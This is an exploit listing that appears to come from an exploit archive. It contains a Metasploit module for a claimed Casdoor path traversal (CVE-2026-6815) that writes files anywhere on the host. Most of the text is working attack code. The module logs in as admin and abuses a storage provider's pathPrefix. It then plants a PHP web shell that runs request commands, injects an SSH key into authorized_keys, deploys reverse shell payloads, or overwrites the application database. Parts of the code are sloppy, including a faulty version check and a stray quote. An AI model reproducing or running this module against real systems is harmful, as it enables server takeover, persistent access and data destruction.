Share
## https://sploitus.com/exploit?id=PACKETSTORM:223568
==================================================================================================================================
    | # Title     : Casdoor 3.54.1 - Path Traversal Arbitrary File Write                                                             |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://casdoor.org/                                                                                             |
    ==================================================================================================================================
    
    [+] Summary    :  This exploit targets a path traversal flaw in Casdoor (versions before 3.54.1).
                      By abusing a misconfigured Local File System storage provider, an authenticated admin 
    				  can set a malicious pathPrefix (like ../../../../...) that breaks out of the intended directory sandbox.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Casdoor 3.54.1 - Path Traversal Arbitrary File Write',
            'Description' => %q{
              This module exploits a Path Traversal vulnerability in the storage provider
              management component of Casdoor versions prior to 3.54.1. By creating a
              'Local File System' provider with a manipulated 'pathPrefix', an authenticated
              administrator can bypass the storage sandbox to write, overwrite, or delete
              arbitrary files on the underlying host filesystem.
    
              Successful exploitation can lead to:
              - Remote Code Execution (RCE) via SSH key injection or web shell upload
              - Persistent Denial of Service (DoS) by corrupting core application binaries
              - Database file manipulation
    
              This module supports various exploitation methods including web shell upload,
              SSH key injection, and reverse shell deployment.
            },
            'Author' => ['indoushka''],
            'References' => [
              ['CVE', '2026-6815'],
              ['URL', 'https://github.com/casdoor/casdoor'],
              ['URL', 'https://casdoor.org/']
            ],
            'DisclosureDate' => '2026-05-11',
            'License' => MSF_LICENSE,
            'Platform' => ['php', 'unix', 'linux'],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              [
                'PHP Web Shell',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'Type' => :php_webshell,
                  'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ],
              [
                'SSH Key Injection',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :ssh_key
                }
              ],
              [
                'Database Corruption (DoS)',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :db_corruption
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base Casdoor path', '/']),
          OptString.new('USERNAME', [true, 'Casdoor username', 'admin']),
          OptString.new('PASSWORD', [true, 'Casdoor password', '123']),
          OptString.new('APP_NAME', [false, 'Target Casdoor Application Name', 'app-built-in']),
          OptString.new('ORG_NAME', [false, 'Target Casdoor Organization Name', 'built-in']),
          OptString.new('PROVIDER_NAME', [false, 'Name for malicious provider', 'path_traversal']),
          OptString.new('REMOTE_PATH', [false, 'Absolute remote path for file write']),
          OptString.new('LOCAL_FILE', [false, 'Local file to upload']),
          OptString.new('SSH_PUB_KEY', [false, 'SSH public key file for injection']),
          OptString.new('WEBSHELL_PATH', [false, 'Webshell path (e.g., /var/www/html/shell.php)']),
          OptBool.new('SKIP_VERSION_CHECK', [false, 'Skip version check', false])
        ])
      end
    
      def casdoor_login_url
        normalize_uri(target_uri.path, 'login/built-in')
      end
    
      def casdoor_api_login_url
        normalize_uri(target_uri.path, 'api/login')
      end
    
      def casdoor_api_add_provider_url
        normalize_uri(target_uri.path, 'api/add-provider')
      end
    
      def casdoor_api_upload_resource_url
        normalize_uri(target_uri.path, 'api/upload-resource')
      end
    
      def casdoor_api_version_url
        normalize_uri(target_uri.path, 'api/get-version-info')
      end
    
      def get_session_cookie
        print_status("Retrieving initial session cookie...")
        
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => casdoor_login_url
        )
        
        if res && res.headers['Set-Cookie']
          cookie = res.get_cookies
          print_good("Session cookie obtained")
          return cookie
        end
        
        nil
      end
    
      def authenticate(cookie)
        print_status("Authenticating as #{datastore['USERNAME']}...")
        
        login_payload = {
          'application' => datastore['APP_NAME'],
          'organization' => datastore['ORG_NAME'],
          'username' => datastore['USERNAME'],
          'password' => datastore['PASSWORD'],
          'autoSignin' => true,
          'signinMethod' => 'Password',
          'type' => 'login'
        }.to_json
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => casdoor_api_login_url,
          'ctype' => 'text/plain;charset=UTF-8',
          'data' => login_payload,
          'cookie' => cookie
        )
        
        if res && res.code == 200
          begin
            json = res.get_json_document
            if json['status'] == 'ok'
              print_good("Authentication successful")
              return true
            end
          rescue JSON::ParserError
            print_error("Failed to parse login response")
          end
        end
        
        print_error("Authentication failed")
        false
      end
    
      def check_version(cookie)
        print_status("Checking Casdoor version...")
        
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => casdoor_api_version_url,
          'cookie' => cookie
        )
        
        if res && res.code == 200
          begin
            json = res.get_json_document
            version = json.dig('data', 'version') || json['version']
            
            if version
              print_status("Casdoor version: #{version}")
              begin
                v_clean = version.gsub(/^v/, '').split('-')[0]
                v_parts = v_clean.split('.').map(&:to_i)
                
                if v_parts[0] >= 3 && v_parts[1] >= 54 && v_parts[2] >= 1
                  print_warning("Version #{version} is likely patched (>= 3.54.1)")
                  unless datastore['SKIP_VERSION_CHECK']
                    print_warning("Set SKIP_VERSION_CHECK to true to continue")
                    return false
                  end
                else
                  print_good("Version appears vulnerable")
                end
              rescue
                print_warning("Could not parse version, continuing anyway")
              end
            end
          rescue JSON::ParserError
            print_error("Failed to parse version response")
          end
        end
        
        true
      end
    
      def create_malicious_provider(cookie)
        print_status("Creating malicious storage provider...")
        
        provider_payload = {
          'owner' => 'admin',
          'name' => datastore['PROVIDER_NAME'],
          'createdTime' => Time.now.strftime('%Y-%m-%dT%H:%M:%S+01:00'),
          'displayName' => 'Path Traversal Provider',
          'category' => 'Storage',
          'type' => 'Local File System',
          'method' => 'Normal',
          'pathPrefix' => '../../../../../../../../../'
        }.to_json
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => casdoor_api_add_provider_url,
          'ctype' => 'text/plain;charset=UTF-8',
          'data' => provider_payload,
          'cookie' => cookie
        )
        
        if res && res.code == 200
          begin
            json = res.get_json_document
            if json['status'] == 'ok'
              print_good("Malicious provider created successfully")
              return true
            elsif json['msg'] && json['msg'].include?('UNIQUE constraint failed')
              print_status("Provider already exists, reusing it")
              return true
            else
              print_error("Failed to create provider: #{json['msg']}")
              return false
            end
          rescue JSON::ParserError
            print_error("Failed to parse provider creation response")
          end
        end
        
        false
      end
    
      def generate_php_webshell
        webshell = '<?php '
        webshell << 'if(isset($_REQUEST["cmd"])){ '
        webshell << 'echo "<pre>"; '
        webshell << 'system($_REQUEST["cmd"]); '
        webshell << 'echo "</pre>"; '
        webshell << '} '
        webshell << 'if(isset($_REQUEST["upload"])){ '
        webshell << 'file_put_contents($_REQUEST["upload"], file_get_contents($_FILES["file"]["tmp_name"])); '
        webshell << '} '
        webshell << '?>'
        webshell
      end
    
      def generate_ssh_key_content
        if datastore['SSH_PUB_KEY'] && File.exist?(datastore['SSH_PUB_KEY'])
          File.read(datastore['SSH_PUB_KEY'])
        else
          "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... exploit@casdoor"
        end
      end
    
      def upload_file(cookie, local_file, remote_path)
        print_status("Uploading #{local_file} to #{remote_path}...")
        
        unless File.exist?(local_file)
          print_error("Local file not found: #{local_file}")
          return false
        end
        
        file_data = File.binread(local_file)
        filename = File.basename(local_file)
        boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
        
        post_data = "--#{boundary}\r\n"
        post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{filename}\"\r\n"
        post_data << "Content-Type: application/octet-stream\r\n\r\n"
        post_data << file_data
        post_data << "\r\n--#{boundary}--\r\n"
        
        params = {
          'owner' => datastore['ORG_NAME'],
          'user' => datastore['USERNAME'],
          'application' => datastore['APP_NAME'],
          'tag' => 'custom',
          'parent' => 'ResourceListPage',
          'fullFilePath' => remote_path,
          'provider' => datastore['PROVIDER_NAME']
        }
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => casdoor_api_upload_resource_url,
          'vars_get' => params,
          'ctype' => "multipart/form-data; boundary=#{boundary}",
          'data' => post_data,
          'cookie' => cookie
        )
        
        if res && res.code == 200
          begin
            json = res.get_json_document
            if json['status'] == 'ok'
              print_good("File uploaded successfully to #{remote_path}")
              register_file_for_cleanup(remote_path) if remote_path.start_with?('/')
              return true
            else
              print_error("Upload failed: #{json['msg']}")
              return false
            end
          rescue JSON::ParserError
            print_error("Failed to parse upload response")
          end
        end
        
        false
      end
    
      def upload_string_content(cookie, content, remote_path)
        print_status("Writing content to #{remote_path}...")
    
        temp_file = "/tmp/#{Rex::Text.rand_text_alpha_lower(8)}.tmp"
        File.binwrite(temp_file, content)
        
        success = upload_file(cookie, temp_file, remote_path)
        
        File.unlink(temp_file) if File.exist?(temp_file)
        
        success
      end
    
      def execute_php_webshell(cookie, webshell_path, cmd)
        webshell_url = normalize_uri(webshell_path)
        
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => webshell_url,
          'vars_get' => { 'cmd' => cmd },
          'cookie' => cookie
        )
        
        if res && res.code == 200
          output = res.body
          output.gsub!(/<pre>/, '')
          output.gsub!(/<\/pre>/, '')
          return output.strip
        end
        
        nil
      end
    
      def webshell_exploit(cookie)
        print_status("Deploying PHP webshell...")
        
        webshell_content = generate_php_webshell
        webshell_path = datastore['WEBSHELL_PATH'] || '/var/www/html/shell.php'
        
        unless upload_string_content(cookie, webshell_content, webshell_path)
          print_error("Failed to deploy webshell")
          return false
        end
        
        print_good("Webshell deployed to #{webshell_path}")
    
        if target['Type'] == :php_webshell && payload.encoded
          b64_payload = Rex::Text.encode_base64(payload.encoded)
          download_cmd = "echo '#{b64_payload}' | base64 -d > /tmp/payload.php && php /tmp/payload.php"
          execute_php_webshell(cookie, webshell_path, download_cmd)
          print_status("Payload delivered via webshell")
          return true
        end
        
        true
      end
    
      def ssh_key_exploit(cookie)
        print_status("Injecting SSH key...")
        
        ssh_key = generate_ssh_key_content
        ssh_path = datastore['REMOTE_PATH'] || '/home/casdoor/.ssh/authorized_keys'
        
        if upload_string_content(cookie, ssh_key, ssh_path)
          print_good("SSH key injected to #{ssh_path}")
          print_status("You can now SSH into the target as casdoor user")
          return true
        end
        
        false
      end
    
      def db_corruption_exploit(cookie)
        print_status("Attempting database corruption...")
        dummy_content = "CORRUPTED BY CVE-2026-6815 EXPLOIT - #{Time.now}"
        db_path = datastore['REMOTE_PATH'] || '/app/casdoor.db'
        
        if upload_string_content(cookie, dummy_content, db_path)
          print_good("Database corrupted at #{db_path}")
          print_warning("Casdoor service may be compromised")
          return true
        end
        
        false
      end
    
      def unix_command_exploit(cookie)
        print_status("Executing Unix command...")
        script_content = "#!/bin/sh\n#{payload.encoded}\n"
        script_path = "/tmp/#{Rex::Text.rand_text_alpha_lower(8)}.sh"
        
        if upload_string_content(cookie, script_content, script_path)
          print_good("Payload script uploaded to #{script_path}")
    
          exec_cmd = "chmod +x #{script_path} && #{script_path}"
          print_status("Payload execution attempted")
          return true
        end
        
        false
      end
    
      def exploit
        print_status("CVE-2026-6815 - Casdoor Path Traversal Arbitrary File Write")
        print_status("Target: #{peer}")
    
        cookie = get_session_cookie
        unless cookie
          fail_with(Failure::NoAccess, "Failed to obtain session cookie")
        end
    
        unless authenticate(cookie)
          fail_with(Failure::NoAccess, "Authentication failed. Check credentials.")
        end
        unless datastore['SKIP_VERSION_CHECK']
          unless check_version(cookie)
            print_warning("Version check suggests target is patched")
            return unless datastore['ForceExploit']
          end
        end
        unless create_malicious_provider(cookie)
          fail_with(Failure::UnexpectedReply, "Failed to create malicious provider")
        end
        case target['Type']
        when :php_webshell
          webshell_exploit(cookie)
        when :unix_cmd
          unix_command_exploit(cookie)
        when :ssh_key
          ssh_key_exploit(cookie)
        when :db_corruption
          db_corruption_exploit(cookie)
        else
          webshell_exploit(cookie)
        end
        
        print_good("Exploit completed")
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================